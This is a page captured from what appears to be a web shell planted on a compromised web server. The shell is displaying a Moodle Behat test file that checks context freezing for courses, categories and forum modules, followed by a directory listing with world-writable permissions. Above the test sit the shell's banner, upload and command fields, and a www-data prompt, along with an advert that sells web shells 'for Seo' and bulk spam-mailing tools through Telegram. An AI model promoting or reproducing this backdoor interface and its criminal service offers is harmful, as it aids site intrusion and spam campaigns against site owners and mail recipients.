__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core
Feature: Context freezing apply to child contexts
  In order to preserve content
  As a manager
  I can disbale writes at different areas

  Background:
    Given the following config values are set as admin:
      | contextlocking | 1 |
    And the following "users" exist:
      | username  | firstname | lastname | email                 |
      | teacher   | Ateacher  | Teacher  | teacher@example.com   |
      | student1  | Astudent  | Astudent | student1@example.com  |
    And the following "categories" exist:
      | name  | category | idnumber |
      | cata  | 0        | cata     |
      | cataa | cata     | cataa    |
      | catb  | 0        | catb     |
    And the following "courses" exist:
      | fullname  | shortname | category  |
      | courseaa1 | courseaa1 | cataa     |
      | courseaa2 | courseaa2 | cataa     |
      | courseb   | courseb   | catb      |
    And the following "activities" exist:
      | activity  | name    | course    | idnumber  |
      | forum     | faa1    | courseaa1 | faa1      |
      | forum     | faa1b   | courseaa1 | faa1b     |
      | forum     | faa2    | courseaa2 | faa2      |
      | forum     | fb      | courseb   | fb        |
    And the following "course enrolments" exist:
      | user      | course    | role           |
      | teacher   | courseaa1 | editingteacher |
      | student1  | courseaa1 | student        |
      | teacher   | courseaa2 | editingteacher |
      | student1  | courseaa2 | student        |
      | teacher   | courseb   | editingteacher |
      | student1  | courseb   | student        |

  Scenario: Freeze course module module should freeze just that module
    Given I am on the "courseaa1" "Course" page logged in as "admin"
    And I follow "faa1"
    And "Add discussion topic" "link" should exist
    When I follow "Freeze this context"
    And I click on "Continue" "button"
    Then "Add discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should be available on the current page
    When I follow "faa1b"
    Then "Add discussion topic" "link" should exist
    When I am on "courseaa2" course homepage
    Then edit mode should be available on the current page
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "teacher"
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should be available on the current page
    When I follow "faa1b"
    Then "Add discussion topic" "link" should exist
    When I am on "courseaa2" course homepage
    Then edit mode should be available on the current page
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    And "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "student1"
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    When I follow "faa1b"
    Then "Add discussion topic" "link" should exist
    When I am on "courseaa2" course homepage
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

  Scenario: Freeze course should freeze all children
    Given I am on the "courseaa1" "Course" page logged in as "admin"
    Then edit mode should be available on the current page
    When I follow "Freeze this context"
    And I click on "Continue" "button"
    Then edit mode should not be available on the current page
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should not be available on the current page
    And "Unfreeze this context" "link" should exist in current page administration
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    And "Unfreeze this context" "link" should not exist in current page administration
    When I am on "courseaa2" course homepage
    Then edit mode should be available on the current page
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "teacher"
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should not be available on the current page
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa2" course homepage
    Then edit mode should be available on the current page
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "student1"
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa2" course homepage
    When I follow "faa2"
    Then "Add discussion topic" "link" should exist
    When I am on "courseb" course homepage
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

  Scenario: Freeze course category should freeze all children
    Given I log in as "admin"
    And I go to the courses management page
    And I click on "managecontextlock" action for "cata" in management category listing
    And I click on "Continue" "button"
    And I am on "courseaa1" course homepage
    Then edit mode should not be available on the current page
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should not be available on the current page
    And "Unfreeze this context" "link" should not exist in current page administration
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    And "Unfreeze this context" "link" should not exist in current page administration
    When I am on "courseaa2" course homepage
    Then edit mode should not be available on the current page
    When I follow "faa2"
    Then "Add a new discussion topic" "link" should not exist
    And "Unfreeze this context" "link" should not exist in current page administration
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "teacher"
    Then edit mode should not be available on the current page
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    Then edit mode should not be available on the current page
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa2" course homepage
    Then edit mode should not be available on the current page
    When I follow "faa2"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseb" course homepage
    Then edit mode should be available on the current page
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

    And I log out
    When I am on the "courseaa1" "Course" page logged in as "student1"
    And I follow "faa1"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa1" course homepage
    When I follow "faa1b"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseaa2" course homepage
    When I follow "faa2"
    Then "Add a new discussion topic" "link" should not exist
    When I am on "courseb" course homepage
    When I follow "fb"
    Then "Add discussion topic" "link" should exist

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
action_menu.feature File 1.11 KB 0777
action_menu_subpanel.feature File 14.23 KB 0777
action_modal.feature File 2.06 KB 0777
alpha_chooser.feature File 22.13 KB 0777
behat_accessibility.php File 7.8 KB 0777
behat_action_menu.php File 8.45 KB 0777
behat_data_generators.php File 10.55 KB 0777
behat_deprecated.php File 1.41 KB 0777
behat_download.php File 8.42 KB 0777
behat_filters.php File 2.95 KB 0777
behat_forms.php File 33.96 KB 0777
behat_general.php File 115.55 KB 0777
behat_hooks.php File 33.02 KB 0777
behat_moodlenet.php File 2.03 KB 0777
behat_navigation.php File 72.67 KB 0777
behat_permissions.php File 12.62 KB 0777
behat_transformations.php File 7.17 KB 0777
datetime_any.feature File 4.24 KB 0777
dropdown_output.feature File 11.15 KB 0777
enabledashboard.feature File 846 B 0777
expand_single_fieldset.feature File 697 B 0777
largeforms.feature File 2.67 KB 0777
locking.feature File 8.55 KB 0777
menu_navigation_single_activity.feature File 4.04 KB 0777
menu_navigation_topics.feature File 4.38 KB 0777
min_max_version.feature File 1018 B 0777
modal_focus.feature File 1.36 KB 0777
moodlenet_outbound.feature File 5.62 KB 0777
moodlenet_share_course.feature File 3.64 KB 0777
moodlenet_share_partial_course.feature File 5.45 KB 0777
permissionmanager.feature File 3.62 KB 0777
profile_pic_access.feature File 3.32 KB 0777
readonlyform.feature File 1.14 KB 0777
securelayout.feature File 1.96 KB 0777
showuseridentity.feature File 4.26 KB 0777
switch_editing_mode.feature File 2.67 KB 0777
timezone.feature File 431 B 0777
userfeedback.feature File 2.18 KB 0777
Filemanager